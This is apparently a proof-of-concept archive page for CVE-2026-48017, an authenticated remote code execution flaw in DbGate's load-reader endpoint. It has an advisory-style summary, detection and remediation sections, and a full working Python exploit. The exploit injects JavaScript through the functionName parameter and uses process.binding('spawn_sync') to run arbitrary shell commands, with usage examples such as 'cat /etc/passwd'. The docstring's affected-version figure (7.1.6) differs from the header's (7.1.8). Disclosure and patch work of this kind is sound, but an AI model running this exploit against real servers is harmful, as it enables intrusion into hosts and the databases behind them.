PoC Archive PoC Archive
High CVE-2026-48017 / GHSA-hv83-ggc4-v385 patched

DbGate `loadReader` `functionName` Injection RCE (CVE-2026-48017)

by romain-deperne · 2026-07-05

CVSS 8.8/10
Severity
High
CVE
CVE-2026-48017 / GHSA-hv83-ggc4-v385
Category
web
Affected product
DbGate (dbgate-api), a web-based database management GUI
Affected versions
<= 7.1.8 (fixed in 7.1.9)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / Researcherromain-deperne
CVE / AdvisoryCVE-2026-48017 / GHSA-hv83-ggc4-v385
Categoryweb
SeverityHigh
CVSS Score8.8 (per upstream advisory)
StatusPoC
Tagsdbgate, nodejs, code-injection, rce, cwe-94, authenticated, database-gui
RelatedN/A

Affected Target

FieldValue
Software / SystemDbGate (dbgate-api), a web-based database management GUI
Versions Affected<= 7.1.8 (fixed in 7.1.9)
Language / PlatformNode.js / JavaScript (TypeScript) server; PoC written in Python
Authentication RequiredYes (any authenticated user, no special permission needed)
Network Access RequiredYes

Summary

DbGate’s POST /runners/load-reader endpoint takes a functionName parameter and concatenates it directly into a JavaScript template string that is later executed in a forked runner process, without sanitization or validation. An authenticated attacker can break out of the intended dbgateApi.<functionName>(...) call expression and inject arbitrary JavaScript. The forked process nominally sandboxes execution by setting require = null, but this is trivially bypassed via Node’s internal process.binding("spawn_sync"), which still allows spawning real OS processes, yielding remote code execution.


Vulnerability Details

Root Cause

compileShellApiFunctionName() (packages/tools/src/packageTools.ts:33) builds a fully-qualified API call string as `dbgateApi.${functionName}` without validating that functionName is a safe identifier. This string is interpolated into a loader script template in runners.js:64 (`const reader = await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});`) which is then executed in a forked process. Unlike the sibling start() runner, which gates execution behind testStandardPermission('run-shell-script') and platformInfo.allowShellScripting, loadReader() performs no such checks.

Attack Vector

  1. Attacker authenticates to a DbGate instance as any regular user (no elevated permission required).
  2. Attacker crafts a functionName value that closes the dbgateApi.<name>(...) expression early (e.g. toString();<injected JS>//), embedding a call to process.binding("spawn_sync").spawn(...).
  3. Attacker sends this payload in a POST /runners/load-reader request.
  4. The server builds and executes the loader script with the injected code, which uses process.binding("spawn_sync") to spawn /bin/sh -c "<command>", bypassing the require = null sandbox restriction.
  5. The shell command executes on the DbGate API host with the server process’s privileges.

Impact

Authenticated remote code execution on the DbGate API host. DbGate is typically deployed with broad network access to internal databases, making this a strong pivot point into an organization’s data tier.


Environment / Lab Setup

Target:   DbGate (dbgate-api) <= 7.1.8, reachable HTTP API (default localhost:3000)
Attacker: Python 3 with `requests` (or stdlib urllib), valid low-privilege DbGate account/JWT

Proof of Concept

PoC Script

See rce_loadreader_functionname_injection.py in this folder. The upstream writeup is preserved in UPSTREAM_README.md.

1
2
3
python3 rce_loadreader_functionname_injection.py http://localhost:3000 <JWT> 'id > /tmp/pwned'

python3 rce_loadreader_functionname_injection.py http://localhost:3000 --login admin password 'id'

The script builds the malicious functionName payload, sends it to POST /runners/load-reader, and the injected spawn_sync call executes the given shell command in the forked runner process on the server.


Detection & Indicators of Compromise

Signs of compromise:

  • DbGate API access logs showing /runners/load-reader requests with anomalous functionName bodies
  • Unexpected shell/child processes forked from the DbGate Node.js runner process
  • Files or output artifacts created on the DbGate host that correlate with injected shell commands

Remediation

ActionDetail
Primary fixUpgrade DbGate to 7.1.9 or later, which validates functionName against a strict identifier allow-list before compiling it into the loader script
Interim mitigationRestrict network access to the DbGate API to trusted admins only; disable or closely audit the /runners/load-reader endpoint if upgrading is not immediately possible

References


Notes

Mirrored from https://github.com/romain-deperne/CVE-2026-48017 on 2026-07-05.

rce_loadreader_functionname_injection.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
#!/usr/bin/env python3
"""
DbGate RCE via functionName Code Injection in loadReader Endpoint
=================================================================

Vulnerability: The POST /runners/load-reader endpoint accepts a `functionName`
parameter that is injected directly into a JavaScript template string without
any sanitization or validation. This allows an authenticated user to execute
arbitrary code on the server, bypassing the `require=null` sandbox.

Affected: DbGate <= 7.1.6 (commit ea3a61077ab09775c39890c465f0b3e97f6c812e)
Endpoint: POST /runners/load-reader
Auth:     Requires valid JWT (any authenticated user, no special permissions)
Impact:   Remote Code Execution (RCE)

The vulnerability exists because:
1. `functionName` from user input flows into `compileShellApiFunctionName()`
2. Without '@', the result is `dbgateApi.${functionName}` (no sanitization)
3. With '@', `nsMatch[1]` (before '@') is injected into `.shellApi.${nsMatch[1]}`
4. The compiled string is interpolated into a JS template executed via fork()
5. Although `require=null` is set, `process.binding("spawn_sync")` still works

Vulnerable code path:
  packages/api/src/controllers/runners.js:353  -> loadReader({ functionName, props })
  packages/api/src/controllers/runners.js:366  -> loaderScriptTemplate(prefix, functionName, ...)
  packages/api/src/controllers/runners.js:64   -> ${compileShellApiFunctionName(functionName)}
  packages/tools/src/packageTools.ts:33        -> return `dbgateApi.${functionName}`

Compare with `start()` at line 292 which requires `testStandardPermission('run-shell-script')`
and checks `platformInfo.allowShellScripting`. loadReader has NO such checks.
"""

import requests
import json
import sys
import time

def exploit(target_url, auth_token, command="id"):
    """
    Exploit the functionName injection in loadReader to achieve RCE.

    Args:
        target_url: Base URL of DbGate (e.g., http://localhost:3000)
        auth_token: Valid JWT authentication token
        command: Shell command to execute
    """

    # Build the malicious functionName
    # Template: const reader=await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});
    # Without @: compileShellApiFunctionName returns "dbgateApi." + functionName
    # We inject: dbgateApi.toString(); <RCE_CODE> ; dbgateApi.toString//
    # The // comments out the rest of the line including (${props})

    # Use process.binding("spawn_sync") to bypass require=null
    rce_payload = (
        'toString();'
        'var __r=process.binding("spawn_sync").spawn({'
        'file:"/bin/sh",'
        'args:["/bin/sh","-c","' + command.replace('"', '\\"') + '"],'
        'envPairs:[],'
        'stdio:['
        '{type:"pipe",readable:true,writable:false},'
        '{type:"pipe",readable:false,writable:true},'
        '{type:"pipe",readable:false,writable:true}'
        ']'
        '});'
        'dbgateApi.toString//'
    )

    headers = {
        "Content-Type": "application/json",
        "Authorization": f"Bearer {auth_token}"
    }

    payload = {
        "functionName": rce_payload,
        "props": {}
    }

    print(f"[*] Target: {target_url}")
    print(f"[*] Command: {command}")
    print(f"[*] Sending malicious loadReader request...")
    print(f"[*] Payload functionName: {rce_payload[:80]}...")

    try:
        response = requests.post(
            f"{target_url}/runners/load-reader",
            headers=headers,
            json=payload,
            timeout=10
        )

        print(f"[*] Response status: {response.status_code}")
        print(f"[*] Response body: {response.text[:500]}")

        if response.status_code == 200:
            print("[+] Request accepted - command should have executed on the server")
            print("[+] Note: The forked process executes the injected code synchronously")
            print("[+] Check server-side for evidence of command execution")
        elif response.status_code == 401:
            print("[-] Authentication failed - check your token")
        else:
            print(f"[-] Unexpected response: {response.status_code}")

    except requests.exceptions.Timeout:
        print("[+] Request timed out - this is expected for long-running commands")
        print("[+] The command was likely executed before the timeout")
    except requests.exceptions.ConnectionError as e:
        print(f"[-] Connection error: {e}")


def get_token(target_url, username, password):
    """Get an authentication token via login."""
    try:
        response = requests.post(
            f"{target_url}/auth/login",
            json={"login": username, "password": password},
            timeout=10
        )
        if response.status_code == 200:
            data = response.json()
            return data.get("accessToken")
    except Exception as e:
        print(f"[-] Login failed: {e}")
    return None


if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target_url> <auth_token> [command]")
        print(f"       {sys.argv[0]} <target_url> --login <user> <password> [command]")
        print()
        print("Examples:")
        print(f"  {sys.argv[0]} http://localhost:3000 eyJ... 'id > /tmp/pwned'")
        print(f"  {sys.argv[0]} http://localhost:3000 --login admin password123 'cat /etc/passwd'")
        print()
        print("The injected functionName in the POST /runners/load-reader body:")
        print('  {"functionName": "<PAYLOAD>", "props": {}}')
        print()
        print("Generated JS template (the injected part):")
        print('  const reader=await dbgateApi.toString();process.binding("spawn_sync").spawn(...);//({})')
        sys.exit(1)

    target = sys.argv[1].rstrip("/")

    if sys.argv[2] == "--login":
        if len(sys.argv) < 5:
            print("Error: --login requires <user> <password>")
            sys.exit(1)
        token = get_token(target, sys.argv[3], sys.argv[4])
        if not token:
            print("[-] Could not obtain token")
            sys.exit(1)
        print(f"[+] Got token: {token[:20]}...")
        cmd = sys.argv[5] if len(sys.argv) > 5 else "id"
    else:
        token = sys.argv[2]
        cmd = sys.argv[3] if len(sys.argv) > 3 else "id"

    exploit(target, token, cmd)